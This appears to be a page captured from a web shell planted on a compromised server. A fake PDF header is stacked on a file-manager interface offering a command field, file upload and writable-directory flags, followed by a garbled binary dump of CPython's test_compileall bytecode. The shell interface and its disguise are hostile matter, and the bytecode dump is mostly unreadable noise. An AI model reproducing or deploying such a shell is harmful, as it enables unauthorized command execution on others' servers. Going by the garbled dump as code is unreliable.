%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_compileall.cpython-39.opt-1.pyc
a

�_g&��@s�ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlmZmZzddlmZdZWney�dZYn0ddlmZddlmZdd	lmZdd
lmZdd�Zd
d�Zdd�Z Gdd�d�Z!Gdd�de!ej"edd�Z#Gdd�de!ej"edd�Z$Gdd�dej"�Z%Gdd�d�Z&Gdd�de&ej"edd�Z'Gdd�de&ej"edd�Z(Gd d!�d!�Z)Gd"d#�d#e)ej"edd�Z*Gd$d%�d%e)ej"edd�Z+e,d&k�r�e�-�dS)'�N)�mock�
skipUnless)�ProcessPoolExecutorTF)�support)�
script_helper�)�without_source_date_epoch)�SourceDateEpochTestMetacCs|sd}tjj||d�S)N���optimization)�	importlib�util�cache_from_source)�script�opt�r�3/vddos/python/lib/python3.9/test/test_compileall.py�get_pyc srcs�fdd�dD�S)Ncsg|]}t�|��qSr)r)�.0r�rrr�
<listcomp>(�zget_pycs.<locals>.<listcomp>�rr�rrrrr�get_pycs'srcCs t�|�j}t�|�j}||kS)z8Returns True if two files have the same inode (hardlink))�os�stat�st_ino)Z	filename1�	filename2Zinode1Zinode2rrr�is_hardlink+sr c@sPeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Ze�d�dd��Zd d!�Ze�d�d"d#��Ze�d�e�d$�d%d&���Zejdd'd(�e�d$�d)d*���Zd+d,�Zd-d.�d/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Zd=d>�Z d?d@�Z!dAdB�Z"e#j$dCdD��Z%d'S)E�CompileallTestsBasecCs�t��|_tj�|jd�|_tj�	|j�|_
t|jd��}|�d�Wd�n1sX0Ytj�|jd�|_
tj�	|j
�|_t�|j|j
�tj�|jd�|_t�|j�tj�|jd�|_t�|j|j�dS)N�_test.py�wzx = 123
z	_test2.pyZ_subdirz	_test3.py)�tempfile�mkdtemp�	directoryr�path�join�source_pathr
rr�bc_path�open�write�source_path2�bc_path2�shutil�copyfileZsubdirectory�mkdir�source_path3��self�filerrr�setUp4s
(zCompileallTestsBase.setUpcCst�|j�dS�N�r/�rmtreer&�r4rrr�tearDownBszCompileallTestsBase.tearDowncCsLtj�|jd�|_t|jd��}|�d�Wd�n1s>0YdS)Nz_test_bad.pyr#zx (
)rr'r(r&�bad_source_pathr+r,r3rrr�add_bad_source_fileEsz'CompileallTestsBase.add_bad_source_filecCsdt|jd��}|�d�}Wd�n1s,0Ytt�|j�j�}t�	dt
jjd|�}||fS)N�rb��<4sllr)
r+r*�read�intrrr)�st_mtime�struct�packr
r�MAGIC_NUMBER)r4r5�data�mtimeZcomparerrr�timestamp_metadataJs
(z&CompileallTestsBase.timestamp_metadatacCs�tj�d�rt�d��t�|j�|j|�	��t
|jd��$}|��t
|�d�}Wd�n1sf0Yt
|jd��$}|�|�|�|�Wd�n1s�0Y|j|�	��tj|jddd�|j|�	��dS)	zOCheck that compileall recreates bytecode when the new metadata is
        used.�SOURCE_DATE_EPOCHzSOURCE_DATE_EPOCH is setr>N�wbFT��force�quiet)r�environ�get�unittest�SkipTest�
py_compile�compiler)�assertEqualrIr+r*rA�lenr,�assertNotEqual�
compileall�compile_dirr&�
assertTrue)r4�metadatar5�bcrrr�recreation_checkQs
2
(z$CompileallTestsBase.recreation_checkcCs|�t�dtjjdd��dS)Nr@rr)r]rDrEr
rrFr:rrr�
test_mtimeas�zCompileallTestsBase.test_mtimecCs|�d�dS)Ns)r]r:rrr�test_magic_numberfsz%CompileallTestsBase.test_magic_numbercCs|j|jfD] }zt�|�WqYq0q|�tj|jddd��|�tj�	|j�oftj�	|j��t�|j�|�tj
|jddd��|�tj�	|j�o�tj�	|j��t�|j�t�|j�|��|�
tj|jddd��|�
tj
|jddd��dS)NFTrLr)r*r.r�unlinkrZrX�compile_filer)r'�isfilerYr&r=�assertFalser<)r4�fnrrr�test_compile_filesjs6������z&CompileallTestsBase.test_compile_filescCs||�tj�|j��t���(}|�t�	t
�|j���Wd�n1sJ0Y|�
|��d�|�tj�|j��dS)Nz&Compiling ([^WindowsPath|PosixPath].*))rcrr'rbr*r�captured_stdoutrZrXra�pathlib�Pathr)�assertRegex�getvalue)r4�stdoutrrr�test_compile_file_pathlike�s

6z.CompileallTestsBase.test_compile_file_pathlikecCsP|�tj�|j��|�tjt�	|j
�t�	d�dd��|�tj�|j��dS)NZ	ddir_pathr)�ddirrN)rcrr'rbr*rZrXrargrhr)r:rrr�test_compile_file_pathlike_ddir�s�z3CompileallTestsBase.test_compile_file_pathlike_ddircCs�tjjj|jgd��"|�tjdd��Wd�n1s<0Ytjjj|jgd��.|��|�	tjdddd��Wd�n1s�0YdS)N�r'r�rNFT)�skip_curdirrMrN)
�test�test_importlibrZimport_stater&rZrX�compile_pathr=rcr:rrr�test_compile_path�s0
�z%CompileallTestsBase.test_compile_pathcCs|tj�|jd�}tj�|d�}t�|�t|d��Wd�n1sH0Yt�|�|�tj�	tj�|d���dS)NrGr5r#�__pycache__)
rr'r(r&r1r+rXrarc�exists)r4Zdata_dirZ	data_filerrr�test_no_pycache_in_non_package�s

z2CompileallTestsBase.test_no_pycache_in_non_packagecCs�drdnd\}}tj|jd|d�tjj|j|d�}|�tj	�
|��tjj|j|d�}|�tj	�
|��tjj|j|d�}|�tj	�
|��dS)NF)rr)rr
T�rN�optimizer)
rXrYr&r
rrr)rZrr'rbr-r2)r4rzr�cachedZcached2Zcached3rrr�
test_optimize�s
�
�
�z!CompileallTestsBase.test_optimizecCs�|�tj�|j��t���"}t�t	�
|j��Wd�n1sD0Y|���
�d}|�|d�|�tj�|j��dS)Nrz$Listing ([^WindowsPath|PosixPath].*))rcrr'rbr*rrfrXrYrgrhr&rj�
splitlinesrirZ)r4rk�linerrr�test_compile_dir_pathlike�s
0z-CompileallTestsBase.test_compile_dir_pathlikez&concurrent.futures.ProcessPoolExecutorcCs"tj|jddd�|�|j�dS�NT��rN�workers�rXrYr&rZ�called�r4�	pool_mockrrr�test_compile_pool_called�sz,CompileallTestsBase.test_compile_pool_calledcCs@|�td�� tj|jdd�Wd�n1s20YdS)Nz%workers must be greater or equal to 0���)r�)ZassertRaisesRegex�
ValueErrorrXrYr&r:rrr�!test_compile_workers_non_positive�s�z5CompileallTestsBase.test_compile_workers_non_positivecCs,tj|jddd�|�|jddd�dS)NTrr�r�max_workers)rXrYr&rU�	call_argsr�rrr�test_compile_workers_cpu_count�sz2CompileallTestsBase.test_compile_workers_cpu_countzcompileall.compile_filecCs,tj|jdd�|�|j�|�|j�dS)NTrp)rXrYr&rcr�rZ)r4�compile_file_mockr�rrr�test_compile_one_worker�sz+CompileallTestsBase.test_compile_one_workerN��newcCs"tj|jddd�|�|j�dSr�r�)r4r�rrr�$test_compile_missing_multiprocessing�sz8CompileallTestsBase.test_compile_missing_multiprocessingcCs�d}|j}td|d�D]>}tj�|d|���}tj�|d�}t�|�t�|j|�qt	j
�|�}tj
|jd|dd�|�tj�|��tj
|jd|d�|�tj�|��dS)N�rZdir_z	script.pyT)rN�	maxlevels)r&�rangerr'r(r1r/r0r)r
rrrXrYrcrbrZ)r4�depthr'�i�sourceZpyc_filenamerrr�test_compile_dir_maxlevels�s
z.CompileallTestsBase.test_compile_dir_maxlevelsT)�parallelcCsddg}|j}g}|D]>}tj�||�}t�|�t�|dd�|�t�|dd��qtj	|jd||rjdnd	d
�|�
|�|D]�}|�
|�|j�|�tj
�|�}|t|jtj�d�}	t�|�\}
}
}tj�||	�}tjj
�|�}
|�|
j|�|�d|�d�t�|��q�dS)
z@Recursive compile_dir ddir must contain package paths; bpo39769.rr�foo�__init__r
�modzdef fn(): 1/0
fn()
Trr)rNrmr�N�")r&rr'r(r1r�make_script�appendrXrYrZ�
startswithr
rrrV�sep�assert_python_failurerrrsZget_code_from_pycrU�co_filename�assertIn�fsdecode)r4rmr��fullpathr'ZmodsZsubdirr�Zmodcode�modpath�_�err�expected_inZmod_code_objrrr�_test_ddir_only�s0
�
�
z#CompileallTestsBase._test_ddir_onlycCs|jddd�S)�=Recursive compile_dir ddir= contains package paths; bpo39769.�
<a prefix>F�rmr��r�r:rrr�test_ddir_only_one_workersz-CompileallTestsBase.test_ddir_only_one_workercCs|jddd�S)r�r�Tr�r�r:rrr�test_ddir_multiple_workerssz.CompileallTestsBase.test_ddir_multiple_workerscCs|jddd�S)�?Recursive compile_dir ddir='' contains package paths; bpo39769.r
Fr�r�r:rrr�test_ddir_empty_only_one_workersz3CompileallTestsBase.test_ddir_empty_only_one_workercCs|jddd�S)r�r
Tr�r�r:rrr� test_ddir_empty_multiple_workerssz4CompileallTestsBase.test_ddir_empty_multiple_workersc
Cs�gd�}tjj|jg|�R�}t�|�t�|dd�}tj�	|�}tjj|jg|dd��R�}t
j|d|d�t�|�\}}}tjj|dd��}	|�
|	t|t��d��|�|t|t��d��dS)N�rr�build�realr'rr�1 / 0rT)rN�stripdir��encoding�rr'r(r&�makedirsrr�r
rrrXrYr�r��str�sys�getdefaultencoding�assertNotIn)
r4r�r'rr\r��rc�outr�r�rrr�test_strip_onlys"
��z#CompileallTestsBase.test_strip_onlyc
Cs�gd�}tjj|jg|�R�}t�|�t�|dd�}tj�	|�}d}t
j|d|d�t�|�\}}}tjj||jg|�R�}	|�
|	t|t��d��dS)Nr�rrr��/fooT)rN�
prependdirr�)rr'r(r&r�rr�r
rrrXrYr�r�r�r�r�)
r4r�r'rr\r�r�r�r�r�rrr�test_prepend_only's
�z%CompileallTestsBase.test_prepend_onlycCs�gd�}tjj|jg|�R�}t�|�t�|dd�}tj�	|�}tjj|jg|dd��R�}d}t
j|d||d�t�|�\}}}	tjj|g|dd��R�}
|�
|
t|	t��d��|�|t|	t��d��dS)	Nr�rrr�rr�T)rNr�r�r�r��r4r�r'rr\r�r�r�r�r�r�rrr�test_strip_and_prepend6s(
���z*CompileallTestsBase.test_strip_and_prependcCsxgd�}tjj|jg|�R�}t�|�t�|dd�|�t��$t	j
|ddddd�Wd�n1sj0YdS)N)rrr�r�r'rmrrr�Tz/barr�)rNrmr�r�)rr'r(r&r�rr��assertRaisesr�rXrY)r4r�r'rrr�test_strip_prepend_and_ddirKs

�z/CompileallTestsBase.test_strip_prepend_and_ddirc
Cs�t�|jdd�}g}dD]}|�tjj||d��qddgddgddggd�g}|D]Z}tj|d	|d
�|D]@}|�	t
j�||��zt
�
||�Wqlty�Yql0qlqTdS)N�test_optimization�a = 0�r
rrr�rrrrrTry)rr�r&r�r
rrrXrarZrr'rbr`�	Exception)r4rr\�	opt_level�test_combinations�opt_combinationrrr�!test_multiple_optimization_levelsTs(��
�z5CompileallTestsBase.test_multiple_optimization_levelsc
Cs�tj�|jddd�}tj�|jddd�}tj�|jddd�}t�|�t�|�t�|�t�|dd�}t�|dd�}tj�|d	�}tj�|d
�}t�||�t�||�tj	�
|�}tj	�
|�}	tj|d|d�|�
tj�|��|�tj�|	��dS)
Nrr�dir�allowed�symlinks�
prohibited�test_allowedr��test_prohibited�test_allowed.py�test_prohibited.pyT)rN�
limit_sl_dest)rr'r(r&r�rr��symlinkr
rrrXrYrZrbrc�
r4Zallowed_pathZ
symlinks_pathZprohibited_pathZallowed_scriptZprohibited_scriptZallowed_symlinkZprohibited_symlinkZ
allowed_bcZ
prohibited_bcrrr�test_ignore_symlink_destinationgs"


z3CompileallTestsBase.test_ignore_symlink_destination)&�__name__�
__module__�__qualname__r6r;r=rIr]r^r_rerlrnrurxr|rr�patchr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�skip_unless_symlinkr�rrrrr!2sL	

	r!c@seZdZdS)�CompileallTestsWithSourceEpochN�r�r�r�rrrrr��sr�)�	metaclassZsource_date_epochc@seZdZdS)�!CompileallTestsWithoutSourceEpochNr�rrrrr��sr�c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�EncodingTestzTIssue 6716: compileall should escape source code when printing errors
    to stdout.cCsdt��|_tj�|jd�|_t|jddd��$}|�d�|�d�Wd�n1sV0YdS)Nr"r#�utf-8r�z# -*- coding: utf-8 -*-
u
print u"€"
)	r$r%r&rr'r(r)r+r,r3rrrr6�s


zEncodingTest.setUpcCst�|j�dSr7r8r:rrrr;�szEncodingTest.tearDowncCs>z0tj}tjt��dd�t_t�|j�W|t_n|t_0dS)N�asciir�)r�rk�io�
TextIOWrapper�BytesIOrXrYr&)r4Zorig_stdoutrrr�
test_error�s
zEncodingTest.test_errorN)r�r�r��__doc__r6r;r�rrrrr��sr�c@s�eZdZdZedd��Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
edd��Zdd�ZddgfdddgfdddgffD]&\ZZZeefd d!�Zee�d"e<q�d#d$�Zd%d&�Zed'd(��Zd)d*�Zd+d,�Zejd-d.��Zd/d0�Zd1d2�Zd3d4�Z d5d6�Z!d7d8�Z"d9d:�Z#d;d<�Z$d=d>�Z%d?d@�Z&dAdB�Z'dCdD�Z(dEdF�Z)dGdH�Z*e+e,dI�dJdK��Z-e.�/dL�dMdN��Z0dOdP�Z1dQdR�Z2ejdSdT��Z3dUdV�Z4dWdX�Z5dYS)Z�CommandLineTestsBasezTest compileall's CLI.cCsttjjtj�D]�}d}t�|�d}|d}z�zL|��sF|��d}|�	d��}|�
d�Wd�n1sp0YWn8ty�d}YWt�
t|��|r�|��q�Yn0Wt�
t|��|r�|��qt�
t|��|r�|��0qd}||_dS)NFrvztest.tryTr#z# for test_compileall)�filterrr'�isdirr�rgrh�is_dirr1r+r,�OSErrorrr`r��rmdir�_sys_path_writable)�clsr'Zdirectory_createdr&r5Zsys_path_writablerrr�
setUpClass�s2,�
�zCommandLineTestsBase.setUpClasscCs|jst�d��dS)Nz(not all entries on sys.path are writable)r�rQrRr:rrr�_skip_if_sys_path_not_writable�sz3CommandLineTestsBase._skip_if_sys_path_not_writablecCsgt���d�d�d�|�S)Nz-S�-mrX)rZ!optim_args_from_interpreter_flags)r4�argsrrr�
_get_run_args�s
����z"CommandLineTestsBase._get_run_argscOs4tj|�|�i|�ddi��\}}}|�d|�|S)N�PYTHONIOENCODINGr�r)r�assert_python_okr�rU�r4r�Zenv_varsr�r�r�rrr�assertRunOK�s���z CommandLineTestsBase.assertRunOKcOs.tj|�|�i|�ddi��\}}}|||fS)Nrr�)rr�r�rrrr�assertRunNotOK�s���z#CommandLineTestsBase.assertRunNotOKcCs"tj�|�}|�tj�|��dSr7)r
rrrZrr'rw�r4rdr'rrr�assertCompiled�sz#CommandLineTestsBase.assertCompiledcCs"tj�|�}|�tj�|��dSr7)r
rrrcrr'rwrrrr�assertNotCompiled�sz&CommandLineTestsBase.assertNotCompiledcCsrt��|_|�tj|j�tj�|jd�|_	t�
|j	�tj�|j	d�|_t�
|j	dd�|_t�
|j	dd�|_dS)Nr�rvr�r
Zbar)r$r%r&Z
addCleanuprr9rr'r(�pkgdirr1�pkgdir_cachedirrr��initfn�barfnr:rrrr6�s
zCommandLineTestsBase.setUpcCsL|��t�|jdd�}|j|jd�|�|�|�|j�|�|j�dS)N�bazr
��
PYTHONPATH)	r�rr�r&rrrr
r)r4�bazfnrrr�test_no_args_compiles_path�s
z/CommandLineTestsBase.test_no_args_compiles_pathcCs�|��t�|jdd�}|j|jd�tj�|�}t�	|t
�
�dfd�t�|�j}|j|jd�t�|�j}|�
||�|jd|jd�t�|�j}|�||�dS)Nrr
r
�<r�-f)r�rr�r&rr
rrr�utime�timerrCrUrW)r4r�pycpathrH�mtime2rrr� test_no_args_respects_force_flag�sz5CommandLineTestsBase.test_no_args_respects_force_flagcCsR|��t�|jdd�|j|jd�}|�d|�|jd|jd�}|�d|�dS)Nrr
r
sListing �-q)r�rr�r&rr�r��r4ZnoisyrNrrr� test_no_args_respects_quiet_flagsz5CommandLineTestsBase.test_no_args_respects_quiet_flagZnormal�pycrzz	opt-1.pyc�-OZdoubleoptimizez	opt-2.pycz-OOcs~tj|ddd|jg�|�tj�|j��t�fdd�dD��}|�	tt�
|j��|�|��fdd�t�
|j�D��dS)	Nr�rXrc3s|]}|�tjj��VqdSr7)�formatr��implementation�	cache_tag)r�base��extrr�	<genexpr>s�z)CommandLineTestsBase.f.<locals>.<genexpr>)z__init__.{}.{}z	bar.{}.{}csg|]}|���r|�qSr)�endswith)rrdr!rrrs
�z*CommandLineTestsBase.f.<locals>.<listcomp>)rrrrZrr'rwr	�sortedrU�listdirrc)r4r"�switch�expectedrr!r�fs��zCommandLineTestsBase.fZtest_pep3147_paths_cCsL|�dd|j�|�tj�|j��tgd��}|�tt�	|j��|�dS)Nz-br)�__init__.pyz__init__.pyczbar.pyzbar.pyc)
rrrcrr'rwr	r%rUr&)r4r(rrr�test_legacy_pathssz&CommandLineTestsBase.test_legacy_pathscCs||�d|j�|�tj�|j��tj�|jd�}|�tj�|��|�d|j�|�tj�|j��|�tj�|��dS)Nrrv)	rrrZrr'rwr	r(rc)r4Z
cachecachedirrrr�test_multiple_runs)sz'CommandLineTestsBase.test_multiple_runscCs�|�d|j�tj�|j�}t�|t��dfd�t�	|�j
}|�d|j�t�	|�j
}|�||�|�dd|j�t�	|�j
}|�||�dS)Nrrrr)
rrr
rrrrrrrrCrUrW)r4rrHrrrr�
test_force6szCommandLineTestsBase.test_forcecCs�tj�|jd�}t�|�t�|dd�}t�|dd�}|�dd|j�|�|�|�	tj�
tj�|d���|�d|j�|�|�|�|�dS)N�spamr�r
�hamrz-lrv)rr'r(rr1rr�rrrcrwr)r4�
subpackage�	subinitfn�hamfnrrr�test_recursion_controlFs


z+CommandLineTestsBase.test_recursion_controlc	CsVtj�|jd�}tj�|d�}tj�|d�}|||fD]}t�|�q6tj�|d�}t�|dd�}t�|dd�}t�|dd�}|�dd|j�|�|�|�	tj�
tj�|d	���|�dd
|j�|�|�|�|�|�|�|�dd|j�|�|�|�|�|�|�|�|�|�dd|j�|�|�|�|�|�|�|�|�dS)
Nr.r/Zeggsr*r
Zeggrz-r 0rvz-r 1z-r 2z-r 5)rr'r(rr�make_pkgr�rrrcrwr)	r4r0Zsubpackage2Zsubpackage3�pkgr1r2ZspamfnZeggfnrrr�test_recursion_limitRs8
�









z)CommandLineTestsBase.test_recursion_limitc	Csttj�|jd�}t�|�t�dtj�|d��t�dtj�|d��|�d|j�|�tj�|jdddd��dS)Nr.�.ZevilZevil2rr*)	rr'r(rrr4r�rr)r4r5rrr�test_symlink_loopts

�z&CommandLineTestsBase.test_symlink_loopcCs6|�|j�}|�d|j�}|�d|�|�d|�dS)Nrr)rrrWrUrrrr�
test_quiet�szCommandLineTestsBase.test_quietcCsTt�|jdd�|�d|j�\}}}|�d|j�\}}}|�d|�|�d|�dS)N�crunchyfrog�
bad(syntaxrz-qqr)rr�rrrWrU)r4r�rNZsilentrrr�test_silent�s
z CommandLineTestsBase.test_silentcCs.|�ddd|j�|�|j�|�|j�dS)Nrz-xz
ba[^\\/]*$)rrrrrr
r:rrr�test_regexp�sz CommandLineTestsBase.test_regexpcCsvtj�|jd�}t�|�t�|dd�}t�|dd�}|�d|j|�|�	|j
�|�	|j�|�	|�|�	|�dS)NZfoo2r�r
�bar2r)rr'r(r&r1rr�rrrr
r)r4Zpkgdir2Zinit2fn�bar2fnrrr�test_multiple_dirs�s

z'CommandLineTestsBase.test_multiple_dirscCs8t�|jdd�|�ddd|j�\}}}|�|d�dS)Nr:r;r�-d�dinsdale�File "dinsdale)rr�rrri�r4r�r�r�rrr�test_d_compile_error�sz)CommandLineTestsBase.test_d_compile_errorcCs�t�|jdd�}|�ddd|j�t�|jdd�}tj�|�}t�|tj	�
|jd��t�|�tj|d	d
�\}}}|�
|d�dS)Nrzraise ExceptionrrArB�bingz
import bazzbaz.pycF)�
__isolatedrC)rr�rrr
rrr�renamer'r(�remover�ri)r4rrdrr�r�r�rrr�test_d_runtime_error�s
z)CommandLineTestsBase.test_d_runtime_errorcCsZ|�dtj�|jd�|j�\}}}|�|d�|�|d�|�tj�	t
j�|j
���dS)N�-i�
nosuchfilesrror.*nosuchfiles	Traceback)rrr'r(r&rriZassertNotRegexrcrwr
rrr	rDrrr�test_include_bad_file�s�
�z*CommandLineTestsBase.test_include_bad_filecCs�t�|jdd�}t�|jdd�}t�|jdd�}t�|jdd�}ttj�|jd�d��H}|�tj�|jd�tj	�|�tj�|jd	�tj	�Wd�n1s�0Y|�
d
tj�|jd�|�|�|�|�|�|�|�|�|�dS)N�f1r
�f2�f3�f4�l1r#�f1.py�f2.pyrK)
rr�rr+rr'r(r&r,�lineseprrr�r4rNrOrPrQrRrrr�test_include_file_with_arg�s:


z/CommandLineTestsBase.test_include_file_with_argcCs�t�|jdd�}t�|jdd�}t�|jdd�}t�|jdd�}ttj�|jd�d��,}|�tj�|jd�tj	�Wd�n1s�0Y|�
d	tj�|jd��|�|�|�|�|�|�|�|�dS)
NrNr
rOrPrQrRr#rTrK)
rr�rr+rr'r(r&r,rUrrrrVrrr�test_include_file_no_arg�s:


z-CommandLineTestsBase.test_include_file_no_argcCs�t�|jdd�}t�|jdd�}t�|jdd�}t�|jdd�}tj|�d�ddg�}|j�|tj�	d	��t�
|�|�|�|�|�|�|�|�|�dS)
NrNr
rOrPrQrrK�-r�)
rr�rZspawn_pythonr��stdinr,rrU�encodeZkill_pythonrr)r4rNrOrPrQ�prrr�test_include_on_stdin�s



z*CommandLineTestsBase.test_include_on_stdincCs\t�|jdd�}|�d|j||j�\}}}|�|d�|�|�|�|j�|�|j�dS)NrFzsyntax(errorrLsrror)	rr�rrr
rrirr)r4Zbingfnr�r�r�rrr�!test_compiles_as_much_as_possible�s
�

z6CommandLineTestsBase.test_compiles_as_much_as_possiblecCs|�d�}|�|d�dS)NZbadfilenamesCan't list 'badfilename')rri)r4r�rrr�!test_invalid_arg_produces_message�s
z6CommandLineTestsBase.test_invalid_arg_produces_messagecCs�t�|jdd�tj�tj�|jd��}|�	d|j�t
|d��}|��}Wd�n1s^0Y|�t
�|dd�d�d	�|�	d
|j�t
|d��}|��}Wd�n1s�0Y|�t
�|dd�d�d�dS)NrNr
rSz --invalidation-mode=checked-hashr>���littler�z"--invalidation-mode=unchecked-hashr)rr�rr
rrrr'r(rr+rArUrB�
from_bytes)r4r�fprGrrr�test_pyc_invalidation_mode�s�&&z/CommandLineTestsBase.test_pyc_invalidation_modezrequires multiprocessingcCs�t�|jdd�}g}td�D]F}tj�|jd�|��}t�|�t�|dd�}|�	t�|dd��q|�
|jdd�|�|�|D]}|�|�q�dS)Nr>r
r�zfoo{}r�z-j�0)rr�r&r�rr'r(rr1r�rr)r4r?�files�suffixrrdr5rrr�test_workers�s

z!CommandLineTestsBase.test_workerszcompileall.compile_dircCsftjdtj|jdgd��:t��|�|j�|�	|j
ddd�Wd�n1sX0YdS)Nzsys.argvz-j0r�r�r�r)rr�r��
executabler&rX�mainrZr�rUr�)r4rYrrr�test_workers_available_coress�z1CommandLineTestsBase.test_workers_available_corescCs�gd�}tjj|jg|�R�}t�|�t�|dd�}tj�	|�}tjj|jg|dd��R�}d}|�
d|d||�t�|�\}}}	tjj|g|dd��R�}
|�|
t
|	t��d��|�|t
|	t��d��dS)	Nr�rrr�rr�z-sz-pr�)rr'r(r&r�rr�r
rrrr�r�r�r�r�r�r�rrrr�s$
��z+CommandLineTestsBase.test_strip_and_prependc
Cs�tj�|jd�}t�|�t�|dd�}g}dD]}|�tj	j
||d��q0ddgddgddggd	�g}|D]j}|j|gd
d�|D��R�|D]D}|�tj�
|t|���zt�||�Wq�ty�Yq�0q�qldS)NZ
optimizationsr�r�r�rrf�1�2)rfrmrncss|]}dt|�VqdS)z-oN)r�)r�nrrrr#2rzICommandLineTestsBase.test_multiple_optimization_levels.<locals>.<genexpr>)rr'r(r&r�rr�r�r
rrrrZrbrBr`r�)r4r'rr\r�r�r�rrrr�#s0
��
�z6CommandLineTestsBase.test_multiple_optimization_levelsc
Cs�tj�|jddd�}tj�|jddd�}tj�|jddd�}t�|�t�|�t�|�t�|dd�}t�|dd�}tj�|d	�}tj�|d
�}t�||�t�||�tj	�
|�}tj	�
|�}	|�|d|�|�tj�
|��|�tj�
|	��dS)Nrrr�r�r�r�r�r�r�r�r�z-e)rr'r(r&r�rr�r�r
rrrrZrbrcr�rrrr�:s"


z4CommandLineTestsBase.test_ignore_symlink_destinationcCs|�|jdd�dS)N�-o 1�--hardlink-dupes)rr&r:rrr�test_hardlink_bad_argsSsz+CommandLineTestsBase.test_hardlink_bad_argsc
Cs�dD]�}t����}|j|d���t�|dd�}t|�}gd�}|rL|�d�|j|g|�R�|�t	|d|d�|�|�t	|d|d	�|�|�t	|d|d	�|�Wd�n1s�0YWd�q1s�0YqdS)
N)TF��deduprr�)rz-o 0rpz-o 2rqrrr)
r$�TemporaryDirectory�subTestrr�rr�rrUr )r4rtr'r�pycsr�rrr�
test_hardlinkXs

z"CommandLineTestsBase.test_hardlinkN)6r�r�r�r��classmethodr�r�r�rrrrr6rrrr�namer"r'r)�localsr+r,r-r3r6rr�r8r9r<r=r@rErJrMrWrXr]r^r_rer�_have_multiprocessingrirr�rlr�r�r�rrrxrrrrr��sf

	


�


"




	



r�c@seZdZdS)�CommandLineTestsWithSourceEpochNr�rrrrr}nsr}c@seZdZdS)�CommandLineTestsNoSourceEpochNr�rrrrr~usr~c@s�eZdZdd�Zejdd��Zd#dd�Zdd	d
d�dd
�Zdd�Z	d$dd�Z
dd�Zdd�Zd%dd�Z
dd�Zdd�Zdd�Zdd�Zd d!�Zd"S)&�HardlinkDedupTestsBasecCs
d|_dSr7ror:rrrr6�szHardlinkDedupTestsBase.setUpccs>t���"}||_|Vd|_Wd�n1s00YdSr7)r$rur')r4r'rrr�temporary_directory�s
z*HardlinkDedupTestsBase.temporary_directoryrcCst�|j||�Sr7)rr�r')r4�coderzrrrr��sz"HardlinkDedupTestsBase.make_scriptTrF)rtrzrMcCstj|jd|||d�dS)NT)rNrz�hardlink_dupesrM)rXrYr')r4rtrzrMrrrrY�s�z"HardlinkDedupTestsBase.compile_dirc	Cs�|����|�d�|�t��$tj|jdddd�Wd�n1sH0Y|�t��(tj|jdddgdd�Wd�n1s�0YWd�n1s�0YdS)N�passTr)rNrzr�)r�r�r�r�rXrYr'r:rrr�
test_bad_args�s

�$�z$HardlinkDedupTestsBase.test_bad_argscCs4g}|r|�d�|�d�|r*|�d�d�|�S)Nz'module docstring'zx = 1z
assert x == 1�
)r�r()r4�	docstring�	assertion�linesrrr�create_code�s


z"HardlinkDedupTestsBase.create_codeccs2dD](}dD]}|j||d�}|||fVqqdS)N)FT�r�r�)r�)r4r�r�r�rrr�
iter_codes�sz!HardlinkDedupTestsBase.iter_codesc
Cs�|��D]�\}}}|j||d���|���v|�|�}t|�}|jdd�|�t|d|d��|�t|d|d��|�t|d|d��Wd�n1s�0YWd�q1s�0YqdS)Nr�Frsrrr)r�rvr�r�rrYrcr )r4r�r�r�rrwrrr�
test_disabled�s

z$HardlinkDedupTestsBase.test_disabledcCsft|�}|�t|d|d�|�|�t|d|d�|oB|�|�t|d|d�|�dS)Nrrr)rrUr )r4rr�r�rwrrr�check_hardlinks�s�
��z&HardlinkDedupTestsBase.check_hardlinksc
Cs�|��D]�\}}}|j||d��X|���0|�|�}|��|�|||�Wd�n1s`0YWd�q1s~0YqdS)Nr�)r�rvr�r�rYr�)r4r�r�r�rrrrrx�s

z$HardlinkDedupTestsBase.test_hardlinkc
Cs�dD]�}|j|d��~|���V|�|���}|j|d�t||d�}t||d�}|�t||��Wd�n1sz0YWd�q1s�0YqdS)N))rr)rr)rr)�opts�rzrr)rvr�r�r�rYrrZr )r4r�r�pyc1�pyc2rrr�test_only_two_levels�s
z+HardlinkDedupTestsBase.test_only_two_levelscCsn|���R|�|���}|jgd�d�t|d�}t|d�}|�t||��Wd�n1s`0YdS)N)rrrrr�rr)r�r�r�rYrrZr )r4rr�r�rrr�test_duplicated_levels�s


z-HardlinkDedupTestsBase.test_duplicated_levelscCs�|����|�d�}|��|�|�t|�}t�|d�j}|�d�}|jddgdd�|�|t�|d�j�|�	t
|d|d��|�|t�|d�j�|�t
j|d|ddd��Wd�n1s�0YdS)	Nr�r�print(0)rT)rzrMr��shallow)r�r�rYr�rrrrrUrZr rWrc�filecmp�cmp�r4rrw�inoderrr�test_recompilation�s



z)HardlinkDedupTestsBase.test_recompilationcCs�|����|j|��dd�}|��|�|�t|�}t�|d�j}|jddd�}t	j
dddd|jd	�|�|t�|d�j�|�|t�|d
�j�|�
t|d|d
��|�
tj|d|d
dd
��Wd�n1s�0YdS)N�module)rzrr�rz-cz
